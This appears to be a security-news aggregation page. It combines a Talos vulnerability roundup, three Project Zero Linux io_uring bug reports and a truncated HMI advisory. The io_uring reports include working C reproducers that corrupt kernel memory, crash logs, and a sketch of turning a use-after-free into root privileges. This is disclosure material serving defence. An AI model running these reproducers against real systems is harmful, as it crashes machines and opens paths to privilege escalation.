Other potential code execution vulnerabilities are also present in Weston Embedded µC/HTTP-server, a web server component in Weston Embedded's in-house operating system and an open-source library that processes several types of potentially sensitive medical tests.

Wednesday, February 28, 2024 12:00

Cisco Talos has disclosed more than 30 vulnerabilities in February, including seven in Adobe Acrobat Reader, one of the most popular PDF editing and reading software currently available. 

Adversaries could exploit these vulnerabilities to trigger the reuse of a previously freed object, thus causing memory corruption and potentially arbitrary code execution on the targeted machine.  

Other potential code execution vulnerabilities are also present in Weston Embedded µC/HTTP-server, a web server component in Weston Embedded's in-house operating system and an open-source library that processes several types of potentially sensitive medical tests.  

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.  

**Multiple vulnerabilities in Adobe Acrobat Reader **

_Discovered by KPC of Cisco Talos._ 

Adobe Acrobat Reader contains multiple vulnerabilities that could lead to remote code execution if exploited correctly. Acrobat is known for being one of the most popular PDF readers available and allows users to fill out, edit and share PDFs. 

TALOS-2023-1905 (CVE-2024-20735), TALOS-2023-1908 (CVE-2024-20747) and TALOS-2023-1910 (CVE-2024-20749) are all out-of-bounds read vulnerabilities that could lead to memory corruption, and eventually arbitrary code execution. TALOS-2023-1909 (CVE-2024-20748) also can lead to an out-of-bounds read, but in this case, could lead to the disclosure of sensitive information about the processes running in the software that could aid an adversary in the exploitation of other vulnerabilities or to bypass detection. 

TALOS-2023-1901 (CVE-2024-20731), TALOS-2023-1890 (CVE-2024-20729) and TALOS-2023-1906 (CVE-2024-20730) can also lead to arbitrary code execution, but in this case, the vulnerability is caused by a buffer overflow.  

An adversary can exploit all the aforementioned vulnerabilities by tricking the targeted user into opening a specially crafted PDF file. Usually, these come in the form of attachments or download links on phishing emails or other social engineering tactics. 

**Open-source library used in medical tests vulnerable to code execution **

_Discovered by Lilith >\_>._ 

Talos researchers discovered multiple arbitrary code execution vulnerabilities in Libbiosig, an open-source library that processes various types of medical signal data, such as for tracking patient’s respiration levels, or measuring an electrocardiogram (ECG). The library produces the information in a way that is useable in different file formats.  

An attacker could provide a specially crafted, malicious file to exploit TALOS-2024-1918 (CVE-2024-23305), TALOS-2024-1921 (CVE-2024-21812), TALOS-2024-1922 (CVE-2024-23313) and TALOS-2024-1925 (CVE-2024-23606), which causes an out-of-bounds write. An attacker could then leverage that to execute arbitrary code on the targeted device.  

TALOS-2024-1920 (CVE-2024-21795) and TALOS-2024-1923 (CVE-2024-23310) work in the same way, but in this case, cause a heap-based buffer overflow and use-after-free condition, respectively. 

Two other vulnerabilities, TALOS-2024-1917 (CVE-2024-22097) and TALOS-2024-1919 (CVE-2024-23809), are double-free vulnerabilities that can also lead to arbitrary code execution.  

All the vulnerabilities Talos found in Libbiosig are considered critical, with a CVSS score of 9.8 out of 10. 

**Use-after-free vulnerability in Imaging Data Commons libdicom **

_Discovered by Dimitrios Tatsis._ 

A use-after-free vulnerability (TALOS-2024-1931/CVE CVE-2024-24793, CVE-2024-24794) exists in Imaging Data Commons libdicom, causing the premature freeing of memory that is used later.  

Libdicom is a C library and a set of command-line tools for reading DICOM WSI files, commonly used in the medical field to store and transmit files. It’s commonly used in doctor’s offices, health systems and hospitals.  

An adversary could exploit this vulnerability by forcing the targeted application to process a malicious DICOM image, potentially allowing them to later cause memory corruption on the application and possibly arbitrary code execution.  

**Arbitrary code execution, denial-of-service vulnerabilities in Weston Embedded server **

_Discovered by Kelly Patterson._ 

A critical heap-based buffer overflow vulnerability in the Weston Embedded uC-HTTP server could lead to arbitrary code execution. TALOS-2023-1843 (CVE-2023-45318) exists in the web server component of Weston’s uCOS real-time operating system.  

The overflow occurs when parsing the protocol version of an HTTP request if the adversary sends a malicious packet to the targeted machine. TALOS-2023-1843 has a maximum severity score of 10.  

The server also contains two other vulnerabilities — TALOS-2023-1828 (CVE-2023-39540, CVE-2023-39541) and TALOS-2023-1829 (CVE-2023-38562). 

TALOS-2023-1828 is a double-free vulnerability, which could also lead to code execution, while TALOS-2023-1829 could allow an adversary to cause a denial of service on the targeted device. 

**5 heap-based buffer overflow vulnerabilities in implementation of LLaMA **

_Discovered by Francesco Benvenuto._ 

Talos discovered multiple heap-based buffer overflows in llama.cpp that could lead to code execution on the targeted machine.  

LLaMA.cpp is a project written in C/C++ that provides inference for Large Language Models (LLMs). It supports a wide variety of hardware and platforms. Besides inference, it can also be used for quantizing models and provides Python bindings for simpler integration with more complex projects. For example, it can be used to create an AI assistant like ChatGPT. LLaMA.cpp also supports GGUF, a file format for storing LLMs that focuses on extensibility and compatibility. 

LLaMA.cpp’s GitHub page says its goal is to provide users with an “LLM inference with minimal setup and state-of-the-art performance on a wide variety of hardware — locally and in the cloud.” 

An adversary could exploit the following vulnerabilities if they provide a specially crafted .gguf file, the file type commonly used to store language models for inference: TALOS-2024-1912 (CVE-2024-21825), TALOS-2024-1913 (CVE-2024-23496), TALOS-2024-1914 (CVE-2024-21802), TALOS-2024-1915 (CVE-2024-21836) and TALOS-2024-1916 (CVE-2024-23605).

Multiple vulnerabilities in Adobe Acrobat Reader could lead to remote code execution

Talos has observed a phishing spam campaign targeting potential victims in Mexico, luring users to download a new obfuscated information stealer we’re calling TimbreStealer, which has been active since at least November 2023.

TimbreStealer campaign targets Mexican users with financial lures

Linux versions 5.6 and above appear to suffer from a cred refcount overflow when handling approximately 39 gigabytes of memory usage via io_uring.

    Linux >=5.6: cred refcount overflow at ~39 GiB memory usage via io_uring(see also my related prior bug reports about overflowing refcounts with lotsof RAM usage:https://crbug.com/project-zero/809: BPF program refcount, with ~32GiB RAMhttps://crbug.com/project-zero/1752: page->refcount via FUSE with ~140GiB RAM)Since commit 071698e13ac6 (\"io_uring: allow registering credentials\"), landedin 5.6, it has been possible to grab references to `struct cred` veryefficiently - by repeatedly calling the syscall`io_uring_register(fd, IORING_REGISTER_PERSONALITY, NULL, 0)`, it is possibleto register up to 0xffff refcounted pointers to `struct cred` in an xarray(or in older kernel versions, in an IDR). These pointers can all be pointingto the same `struct cred`.By using a bunch of io_uring instances, that makes it possible to create alot of refcounted references to `struct cred` at a very efficient and lowamortized memory cost of less than 10 bytes per reference.`struct cred` is refcounted using the member `atomic_t usage`, which is aplain signed 32-bit atomic counter with no overflow checking.I believe there is some history here where Elena Reshetova and Kees Cook havebeen trying to turn it into a `refcount_t`, which would also fix this kind ofissue by marking the refcount as \"saturated\" when it reaches 2^31 and thennever freeing the object. Most recently there was this thread, where Keestried to get that change in; there was some discussion, but I don't thinkanything has landed so far:<https://lore.kernel.org/all/20230818041740.gonna.513-kees@kernel.org/>So by using ~39 GiB of physical memory, it is possible to store 2^32references to `struct cred` and overflow the reference counter. That's notexactly a small amount of RAM, but I guess a lot of servers probably have thatmuch RAM? At least cloud providers like AWS sell machines with much more RAMthan that.I am including as recipients both akpm (who is the maintainer forkernel/cred.c and was involved in the linked discussion) and the io_uringmaintainers (though io_uring, in my opinion, isn't really where the core issuehere lies, but it happened to make it possible to hit this overflow using afairly small amount of physical memory).Reproducer (compile with -pthread; requires ~39GiB of physical RAM, I tested itin a VM so that the host machine could swap a bit):============#define _GNU_SOURCE#include <pthread.h>#include <unistd.h>#include <err.h>#include <fcntl.h>#include <string.h>#include <stdio.h>#include <stdlib.h>#include <ctype.h>#include <signal.h>#include <sys/syscall.h>#include <sys/wait.h>#include <sys/prctl.h>#include <sys/mman.h>#include <sys/resource.h>#include <sys/eventfd.h>#include <linux/io_uring.h>#define SYSCHK(x) ({          \\  typeof(x) __res = (x);      \\  if (__res == (typeof(x))-1) \\    err(1, \"SYSCHK(\" #x \")\"); \\  __res;                      \\})// power of 2#define PARALLELISM 4static int efd;static void *thread_fn(void *dummy) {  for (long refcount = 0; refcount < (1UL<<32)/PARALLELISM;) {    struct io_uring_params params = {      .flags = IORING_SETUP_NO_SQARRAY    };    int uring_fd = SYSCHK(syscall(__NR_io_uring_setup, /*entries=*/40, &params));    printf(\"uring_fd = 0x%x\\", (unsigned int)uring_fd);    for (int i=0; i<0xffff; i++, refcount++)      SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_PERSONALITY, NULL, 0));  }  printf(\"one thread ready\\");  eventfd_write(efd, 1);  while (1) pause();}int main(void) {  setbuf(stdout, NULL);  sync();  struct rlimit rlim;  SYSCHK(getrlimit(RLIMIT_NOFILE, &rlim));  if (rlim.rlim_max < 65550)    printf(\"WARNING: RLIMIT_NOFILE maximum is probably too low\\");  rlim.rlim_cur = rlim.rlim_max;  SYSCHK(setrlimit(RLIMIT_NOFILE, &rlim));  efd = SYSCHK(eventfd(0, 0));  pthread_t threads[PARALLELISM];  for (int i = 0; i < PARALLELISM; i++) {    if (pthread_create(threads+i, NULL, thread_fn, NULL))      errx(1, \"pthread_create\");  }  for (int i=0; i<4;) {    eventfd_t val;    SYSCHK(eventfd_read(efd, &val));    i += val;  }  printf(\"refs should have wrapped. press ctrl+c for uaf on cleanup.\\");  while (1)    pause();}============The reproducer takes a while to run; when it's done and the cred refcount hasbeen wrapped, you can press ctrl+c to make the process exit, which willrepeatedly decrement the cred refcount until the cred refcount reaches zero(when there are actually 2^32 references remaining).At that point, it'll hit the `BUG_ON(cred == current->cred)` check in`__put_cred()`, since the reproducer doesn't go out of its way to avoid thischeck:============kernel BUG at kernel/cred.c:150!invalid opcode: 0000 [#1] PREEMPT SMPCPU: 2 PID: 580 Comm: uring-credref Not tainted 6.7.0-rc3 #362Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014RIP: 0010:__put_cred+0x55/0x60Code: 87 a0 00 00 00 85 c0 74 0c 48 81 c7 a0 00 00 00 e9 b0 fe ff ff 48 81 c7 a0 00 00 00 48 c7 c6 40 39 0d b0 e9 9d 53 07 00 0f 0b <0f> 0b 0f 0b 0f 1f 80 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90RSP: 0018:ffffb2e382b5bcf0 EFLAGS: 00010246RAX: ffff8c4e21c6c080 RBX: ffff8c52fce02000 RCX: ffffb2e382b5bc94RDX: 0000000000000001 RSI: ffff8c52fce025c0 RDI: ffff8c4e1f2c2480RBP: ffff8c52fce025a8 R08: ffffb2e382b5bc98 R09: 0000000000000007R10: 0000000000000001 R11: 0000000000000001 R12: ffff8c52fce02040R13: ffff8c4e072fc520 R14: ffff8c576139c9c0 R15: ffff8c4e21c6c938FS:  0000000000000000(0000) GS:ffff8c598dd00000(0000) knlGS:0000000000000000CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033CR2: 000055a8bdfd1d70 CR3: 0000000411e47001 CR4: 0000000000770ef0PKRU: 55555554Call Trace: <TASK> [...] io_ring_ctx_wait_and_kill+0xa8/0x180 io_uring_release+0x20/0x30 __fput+0x92/0x2c0 task_work_run+0x5a/0x90 do_exit+0x36c/0xbc0 do_group_exit+0x37/0xa0 get_signal+0xbcf/0xbd0 arch_do_signal_or_restart+0x3e/0x270 exit_to_user_mode_prepare+0xba/0x110 syscall_exit_to_user_mode+0x21/0x50 do_syscall_64+0x52/0xf0 entry_SYSCALL_64_after_hwframe+0x6e/0x76RIP: 0033:0x7ff41d547d92Code: Unable to access opcode bytes at 0x7ff41d547d68.RSP: 002b:00007ff41d370e30 EFLAGS: 00000293 ORIG_RAX: 0000000000000022RAX: fffffffffffffdfe RBX: 000000004000bfff RCX: 00007ff41d547d92RDX: 0000000000000008 RSI: 00007ff41d370e38 RDI: 0000000000000000RBP: 000000000000ffc1 R08: 0000000000000000 R09: 0000008000000040R10: 0000000000000000 R11: 0000000000000293 R12: 000000004000bfffR13: 00007ff41d370e50 R14: 00007ff41d370e50 R15: 0000000000000000 </TASK>Modules linked in:---[ end trace 0000000000000000 ]---RIP: 0010:__put_cred+0x55/0x60Code: 87 a0 00 00 00 85 c0 74 0c 48 81 c7 a0 00 00 00 e9 b0 fe ff ff 48 81 c7 a0 00 00 00 48 c7 c6 40 39 0d b0 e9 9d 53 07 00 0f 0b <0f> 0b 0f 0b 0f 1f 80 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90RSP: 0018:ffffb2e382b5bcf0 EFLAGS: 00010246RAX: ffff8c4e21c6c080 RBX: ffff8c52fce02000 RCX: ffffb2e382b5bc94RDX: 0000000000000001 RSI: ffff8c52fce025c0 RDI: ffff8c4e1f2c2480RBP: ffff8c52fce025a8 R08: ffffb2e382b5bc98 R09: 0000000000000007R10: 0000000000000001 R11: 0000000000000001 R12: ffff8c52fce02040R13: ffff8c4e072fc520 R14: ffff8c576139c9c0 R15: ffff8c4e21c6c938FS:  0000000000000000(0000) GS:ffff8c598dd00000(0000) knlGS:0000000000000000CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033CR2: 000055a8bdfd1d70 CR3: 0000000411e47001 CR4: 0000000000770ef0PKRU: 55555554Fixing recursive fault but reboot is needed!============A use-after-free of `struct cred` should be exploitable; one method would beto try to get the freed object allocated again as the `struct cred` of aroot-privileged process, another method would be to try to reallocate theobject with a buffer containing attacker-controlled data somehow (and thenfake a full capability set in init_user_ns with UIDs set to zero).While one tempting easy fix here would be to close off avenues for gettinglots of references with little RAM (like somehow making io_uring reuse IDswith a local usage counter when userspace tries to insert the same`struct cred` into the xarray multiple times), I think that this example showshow fragile that method is. It requires knowing about all the variousreference paths that can hold references to `struct cred`, and what kinds ofmultipliers or global limits apply at every point in this reference graph.I think the kernel should be using some flavor of saturating refcounts as thedefault choice, at least on machines that have enough RAM to store 2^32pointers.If there are specific cases where the overhead is undesirable, I think weshould only omit such a check if we can document exactly how many referencescan exist at most, with enough warning comments scattered around to ensurethat the assumptions can't accidentally be broken inadvertently later on.(Or the kernel could limit SLUB to a maximum of 32 GiB of memory except forspecially marked slabs that store objects guaranteed to not hold multiplereferences to the same object, but I think people would probably hate thatidea.)(But note that refcount hardening also has value for protecting against bugswhere some repeatedly executed codepath forgets to decrement the refcount,letting it drift up until it wraps around; and that kind of bug is alsoexploitable without using ginormous amounts of RAM.)This bug is subject to a 90-day disclosure deadline. If a fix for thisissue is made available to users before the end of the 90-day deadline,this bug report will become public 30 days after the fix was madeavailable. Otherwise, this bug report will become public at the deadline.The scheduled deadline is 2024-02-26.Found by: jannh@google.com

Linux 5.6 io_uring Cred Refcount Overflow

Linux versions 6.4 and above suffer from an io_uring page use-after-free vulnerability via buffer ring mmap.

    Linux >=6.4: io_uring: page UAF via buffer ring mmapSince commit c56e022c0a27 (\"io_uring: add support for user mapped providedbuffer ring\"), landed in Linux 6.4, io_uring makes it possible to allocate,mmap, and deallocate \"buffer rings\".A \"buffer ring\" can be allocated withio_uring_register(..., IORING_REGISTER_PBUF_RING, ...) and later deallocatedwith io_uring_register(..., IORING_UNREGISTER_PBUF_RING, ...).It can be mapped into userspace using mmap() with offsetIORING_OFF_PBUF_RING|..., which creates a VM_PFNMAP mapping, meaning the MMsubsystem will treat the mapping as a set of opaque page frame numbers notassociated with any corresponding pages; this implies that the calling code isresponsible for ensuring that the mapped memory can not be freed before theuserspace mapping is removed.However, there is no mechanism to ensure this in io_uring: It is possible tojust register a buffer ring with IORING_REGISTER_PBUF_RING, mmap() it, and thenfree the buffer ring's pages with IORING_UNREGISTER_PBUF_RING, leaving freepages mapped into userspace, which is a fairly easily exploitable situation.reproducer:==============================================================#define _GNU_SOURCE#include <unistd.h>#include <err.h>#include <string.h>#include <stdio.h>#include <ctype.h>#include <sys/syscall.h>#include <sys/mman.h>#include <linux/io_uring.h>#define SYSCHK(x) ({          \\  typeof(x) __res = (x);      \\  if (__res == (typeof(x))-1) \\    err(1, \"SYSCHK(\" #x \")\"); \\  __res;                      \\})int main(void) {  struct io_uring_params params = {    .flags = IORING_SETUP_NO_SQARRAY  };  int uring_fd = SYSCHK(syscall(__NR_io_uring_setup, /*entries=*/40, &params));  printf(\"uring_fd = %d\\", uring_fd);  struct io_uring_buf_reg reg = {    .ring_entries = 1,    .bgid = 0,    .flags = IOU_PBUF_RING_MMAP  };  SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_PBUF_RING, &reg, 1));  void *pbuf_mapping = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_PBUF_RING));  printf(\"pbuf mapped at %p\\", pbuf_mapping);  struct io_uring_buf_reg unreg = { .bgid = 0 };  SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_UNREGISTER_PBUF_RING, &unreg, 1));  while (1) {    memset(pbuf_mapping, 0xaa, 0x1000);    usleep(100000);  }}==============================================================When run on a system with the debug options:    CONFIG_PAGE_TABLE_CHECK=y    CONFIG_PAGE_TABLE_CHECK_ENFORCED=y, this will splat with the following error, when __page_table_check_zero()detects that a page that's being freed is still mapped into userspace:==============================================================------------[ cut here ]------------kernel BUG at mm/page_table_check.c:146!invalid opcode: 0000 [#1] PREEMPT SMP KASANCPU: 1 PID: 554 Comm: uring-mmap-pbuf Not tainted 6.7.0-rc3 #360Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014RIP: 0010:__page_table_check_zero+0x136/0x150Code: a8 40 0f 84 1f ff ff ff 48 8d 7b 48 e8 93 8a fd ff 48 8b 6b 48 40 f6 c5 01 0f 84 08 ff ff ff 48 83 ed 01 e9 02 ff ff ff 0f 0b <0f> 0b 0f 0b 0f 0b 5b 48 89 ef 5d 41 5c 41 5d 41 5e e9 f4 ea ff ffRSP: 0018:ffff888029aa7c70 EFLAGS: 00010202RAX: 0000000000000001 RBX: ffff8880011789f0 RCX: dffffc0000000000RDX: 0000000000000007 RSI: ffffffff83ca598e RDI: ffff8880011789f4RBP: ffff8880011789f0 R08: 0000000000000000 R09: ffffed100022f13eR10: ffff8880011789f7 R11: 0000000000000000 R12: 0000000000000000R13: ffff8880011789f4 R14: 0000000000000001 R15: 0000000000000000FS:  00007f745f01a500(0000) GS:ffff88806d280000(0000) knlGS:0000000000000000CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033CR2: 00005610bbfb8008 CR3: 0000000016ac3004 CR4: 0000000000770ef0PKRU: 55555554Call Trace: <TASK>[...] free_unref_page_prepare+0x282/0x450 free_unref_page+0x45/0x170 __io_remove_buffers.part.0+0x38c/0x3c0 io_unregister_pbuf_ring+0x146/0x1e0[...] __do_sys_io_uring_register+0xa03/0x11c0[...] do_syscall_64+0x43/0xf0 entry_SYSCALL_64_after_hwframe+0x6e/0x76RIP: 0033:0x7f745ef4bf59Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 07 6f 0c 00 f7 d8 64 89 01 48RSP: 002b:00007ffe29cbac98 EFLAGS: 00000202 ORIG_RAX: 00000000000001abRAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f745ef4bf59RDX: 00007ffe29cbaca0 RSI: 0000000000000017 RDI: 0000000000000003RBP: 00007ffe29cbadb0 R08: 00007ffe29cbab6c R09: 0000000000000000R10: 0000000000000001 R11: 0000000000000202 R12: 00005610bbb700d0R13: 00007ffe29cbae90 R14: 0000000000000000 R15: 0000000000000000 </TASK>Modules linked in:---[ end trace 0000000000000000 ]---==============================================================When run on a system without those options, this reproducer will randomlycorrupt memory and probably on most runs crash the machine.I tried it once and after I tried using some other programs, I got some randomkernel #GP fault.One way to fix this might be to add some mapping counter to`struct io_buffer_list`, and then: - increment that counter in io_uring_validate_mmap_request() for PBUF_RING   mappings - increment that counter in the vm_area_operations ->open() handler - decrement that counter in the vm_area_operations ->close() handler - refuse IORING_UNREGISTER_PBUF_RING if the counter is non-zero?Or alternatively free the io_buffer_list when the counter drops to zero, and letthe counter start at 1.(I'm not sure what the lifetime rules for other accesses to the io_buffer_list'smemory are - it looks like most paths only access the io_buffer_list under somelock? Is the idea that the kernel actually accesses the buffer through userspacepointers, or something like that? I'll have to stare at this some more before Iunderstand it...)This bug is subject to a 90-day disclosure deadline. If a fix for thisissue is made available to users before the end of the 90-day deadline,this bug report will become public 30 days after the fix was madeavailable. Otherwise, this bug report will become public at the deadline.The scheduled deadline is 2024-02-26.Found by: jannh@google.com

Linux 6.4 io_uring Use-After-Free

__io_uaddr_map() in io_uring suffers from dangerous handling of the multi-page region.

    io_uring: __io_uaddr_map() handles multi-page region dangerously__io_uaddr_map() wants to import a region from userspace, and then address theimported region through the linear mapping area. This requires that theimported region is physically contiguous.A comment in __io_uaddr_map() explains that the imported region is usuallyjust a single page, in which case that is trivially fine.However, __io_uaddr_map() also has code intended to permit multi-page regions,in which case it tries to enforce that the entire region maps to the samefolio (in other words, the same head page):        /*         * Should be a single page. If the ring is small enough that we can         * use a normal page, that is fine. If we need multiple pages, then         * userspace should use a huge page. That's the only way to guarantee         * that we get contigious memory, outside of just being lucky or         * (currently) having low memory fragmentation.         */        if (page_array[0] != page_array[ret - 1])                goto err;This code is wrong for (more or less) two reasons:1. It only checks the first and last page; it doesn't check any of the pages   in between. Userspace can easily create a set of adjacent VMAs such that   the first and last virtual page map to the same physical page, while pages   in between map to entirely unrelated pages.2. It misunderstands how compound pages are represented in the kernel, and   will always reject the case it is supposed to allow:   `pin_user_pages_fast()` would return a set of adjacent `struct page`   instances that are associated with the same head page / folio; it   wouldn't return the same `struct page *` for every subpage.   Every chunk of memory of size `PAGE_SIZE` maps to its own `struct page`.So if this code is presented with a userspace region of the following shape,containing individual 4K pages:[page A][page B][...][page A]then it will accept the region and assume that `page_to_virt(<page A>)`returns the address of a page as big as the entire region. Accesses to thefirst 4KiB of the region would work as intended; but accesses to later partsof the region will be out-of-bounds accesses to unrelated pages.Here's a reproducer that submits a bunch of NOP ops (zeroed sqes) until itoverruns the end of the first sq page:```#define _GNU_SOURCE#include <unistd.h>#include <err.h>#include <stdio.h>#include <sys/mman.h>#include <sys/syscall.h>#include <linux/io_uring.h>#define SYSCHK(x) ({          \\  typeof(x) __res = (x);      \\  if (__res == (typeof(x))-1) \\    err(1, \"SYSCHK(\" #x \")\"); \\  __res;                      \\})#define NUM_SQ_PAGES 4int main(void) {  int memfd_sq = SYSCHK(memfd_create(\"\", 0));  int memfd_cq = SYSCHK(memfd_create(\"\", 0));  SYSCHK(ftruncate(memfd_sq, NUM_SQ_PAGES * 0x1000));  SYSCHK(ftruncate(memfd_cq, NUM_SQ_PAGES * 0x1000));  // sq  void *sq_data = SYSCHK(mmap(NULL, NUM_SQ_PAGES*0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, memfd_sq, 0));  SYSCHK(mmap(sq_data+(NUM_SQ_PAGES-1)*0x1000, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, memfd_sq, 0));  // cq (rings)  void *cq_data = SYSCHK(mmap(NULL, NUM_SQ_PAGES*0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, memfd_cq, 0));  *(volatile unsigned int *)(cq_data+4) = 64 * NUM_SQ_PAGES;  for (int i=1; i<NUM_SQ_PAGES; i++)    SYSCHK(mmap(cq_data+i*0x1000, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, memfd_cq, 0));  struct io_uring_params params = {    .flags = IORING_SETUP_NO_MMAP | IORING_SETUP_NO_SQARRAY /*| IORING_SETUP_CQE32*/,    .sq_off = {      .user_addr = (unsigned long)sq_data    },    .cq_off = {      .user_addr = (unsigned long)cq_data    }  };  int uring_fd = SYSCHK(syscall(__NR_io_uring_setup, /*entries=*/64 * NUM_SQ_PAGES, &params));  printf(\"uring_fd = %d\\", uring_fd);  /* submit nops */  int enter_res = SYSCHK(syscall(__NR_io_uring_enter, uring_fd, 64 * NUM_SQ_PAGES, 0, 0, NULL));  printf(\"enter returned %d\\", enter_res);}```It gives an ASAN splat like this (but note that the splat diagnostic is wrong because ASAN can't detect page OOB access properly):```[   73.380288] ==================================================================[   73.381745] BUG: KASAN: slab-use-after-free in io_submit_sqes+0x223/0xc00[   73.382822] Read of size 1 at addr ffff88810263a000 by task uring-multipage/708[   73.383967] [   73.384240] CPU: 6 PID: 708 Comm: uring-multipage Not tainted 6.7.0-rc2 #357[   73.385316] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014[   73.386778] Call Trace:[   73.387177]  <TASK>[   73.387520]  dump_stack_lvl+0x4a/0x80[   73.388117]  print_report+0xcf/0x670[...][   73.389595]  kasan_report+0xd8/0x110[...][   73.391954]  io_submit_sqes+0x223/0xc00[   73.392570]  __do_sys_io_uring_enter+0x965/0x1200[...][   73.397438]  do_syscall_64+0x46/0xf0[   73.398004]  entry_SYSCALL_64_after_hwframe+0x6e/0x76[   73.398787] RIP: 0033:0x7ff8ed2e7989[   73.399494] Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d d7 64 0c 00 f7 d8 64 89 01 48[   73.402164] RSP: 002b:00007fff76dc3598 EFLAGS: 00000202 ORIG_RAX: 00000000000001aa[   73.403277] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff8ed2e7989[   73.404314] RDX: 0000000000000000 RSI: 0000000000000100 RDI: 0000000000000005[   73.411155] RBP: 00007fff76dc3690 R08: 0000000000000000 R09: 0000020000000100[   73.412496] R10: 0000000000000000 R11: 0000000000000202 R12: 000055967f6680a0[   73.417987] R13: 00007fff76dc3770 R14: 0000000000000000 R15: 0000000000000000[   73.419272]  </TASK>[removed irrelevant alloc/free traces of the accessed memory region][   73.449202] [   73.449471] The buggy address belongs to the object at ffff88810263a000[   73.449471]  which belongs to the cache kmalloc-128 of size 128[   73.451228] The buggy address is located 0 bytes inside of[   73.451228]  freed 128-byte region [ffff88810263a000, ffff88810263a080)[   73.453173] [   73.453429] The buggy address belongs to the physical page:[   73.454232] page:000000002be796b3 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10263a[   73.455535] head:000000002be796b3 order:1 entire_mapcount:0 nr_pages_mapped:0 pincount:0[   73.456662] flags: 0x200000000000840(slab|head|node=0|zone=2)[   73.457522] page_type: 0xffffffff()[   73.458045] raw: 0200000000000840 ffff8881000428c0 ffffea0004747e80 0000000000000002[   73.459143] raw: 0000000000000000 0000000080200020 00000001ffffffff 0000000000000000[   73.460305] page dumped because: kasan: bad access detected[   73.461091] [   73.461353] Memory state around the buggy address:[   73.462038]  ffff888102639f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[   73.463058]  ffff888102639f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[   73.464277] >ffff88810263a000: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb[   73.465289]                    ^[   73.465791]  ffff88810263a080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc[   73.466795]  ffff88810263a100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb```I'm not sure about the best way to fix it - since the compound page supportcan't actually have worked, as explained above, maybe it's easiest to justdrop support for compound pages? \u03bfr alternatively we could fix that, but sincenobody seems to have used it, that'd maybe be unnecessary complexity...This bug is subject to a 90-day disclosure deadline. If a fix for thisissue is made available to users before the end of the 90-day deadline,this bug report will become public 30 days after the fix was madeavailable. Otherwise, this bug report will become public at the deadline.The scheduled deadline is 2024-02-22.Related CVE Numbers: CVE-2023-6560.Found by: jannh@google.com

io_uring __io_uaddr_map() Dangerous Multi-Page Handling

Denial-of-service (DoS) vulnerability exists in NetBIOS service of HMI GC-A2 series. If a remote unauthenticated attacker sends a specially crafted packets to specific ports, a denial-of-service (DoS) condition may occur.

Dec. 11, 2023

*   TOP
*   News
*   \[Update notice\] HMI GC-A2 series

**1.Overview**

Multiple vulnerabilities were found in HMI GC-A2 series.  
We will inform you of the contents and how to deal with them.  
Please confirm the contents and apply the follow solution.

**2.Products Affected**

The following products are affected by the vulnerability.

Products

Firmware Version

GC-A22W-CW

All Versions

GC-A24W-C(W)

All Versions

GC-A26W-C(W)

All Versions

GC-A24

All Versions

GC-A24-M

All Versions

GC-A25

All Versions

GC-A26

All Versions

GC-A26-J2

All Versions

GC-A27-C

All Versions

GC-A28-C

All Versions

**3.Description**

HMI GC-A2 series contain multiple vulnerabilities listed below.

**3-1.Denial-of-service (DoS) vulnerability in FTP service (CWE-400) – CVE-2023-41963**

CVSS v3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base score: 7.5  
CVSS v2 AV:N/AC:L/Au:N/C:N/I:N/A:C Base score: 7.8

**3-2. Denial-of-service (DoS) vulnerability in commplex-link service (CWE-400) – CVE-2023-49140**

CVSS v3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base score: 7.5  
CVSS v2 AV:N/AC:L/Au:N/C:N/I:N/A:C Base score: 7.8

**3-3. Denial-of-service (DoS) vulnerability in rfe service (CWE-400) – CVE-2023-49143**

CVSS v3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base score: 7.5  
CVSS v2 AV:N/AC:L/Au:N/C:N/I:N/A:C Base score: 7.8

**3-4. Denial-of-service (DoS) vulnerability in NetBIOS service (CWE-400) – CVE-2023-49713**

CVSS v3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base score: 7.5  
CVSS v2 AV:N/AC:L/Au:N/C:N/I:N/A:C Base score: 7.8

**4.Impact**

